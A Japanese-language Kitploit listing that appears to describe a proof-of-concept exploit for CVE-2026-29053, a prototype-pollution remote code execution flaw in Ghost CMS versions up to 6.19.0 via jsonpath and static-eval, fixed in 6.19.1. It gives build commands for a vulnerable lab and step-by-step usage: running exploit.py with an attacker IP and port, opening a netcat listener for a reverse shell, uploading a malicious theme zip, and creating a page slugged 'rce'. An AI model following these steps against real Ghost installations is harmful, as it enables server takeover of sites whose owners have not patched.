CVE-2026-29053 — Ghost CMSのプロトタイプ汚染（jsonpathおよびstatic-eval経由）によるリモートコード実行の概念実証エクスプロイト。脆弱な環境のセットアップと使用方法を含む。 | Kitploit

共有

CVE-2026-29053

Ghost CMS における jsonpath/static-eval プロトタイプチェーンを介した RCE。

情報

CVE: CVE-2026-29053
影響を受けるバージョン: Ghost <= 6.19.0（jsonpath 1.1.1 + static-eval 2.0.2 を使用）
修正済み: 6.19.1

デモ

CVE-2026-29053.webm

脆弱性環境のセットアップ

cd build
./build.sh

使用方法

python3 exploit.py -i <YOUR_IP> -p <PORT>

リスナーを起動: nc -lvnp <PORT>
malicious-theme.zip を Ghost Admin → Settings → Design にアップロード
スラッグ rce のページを作成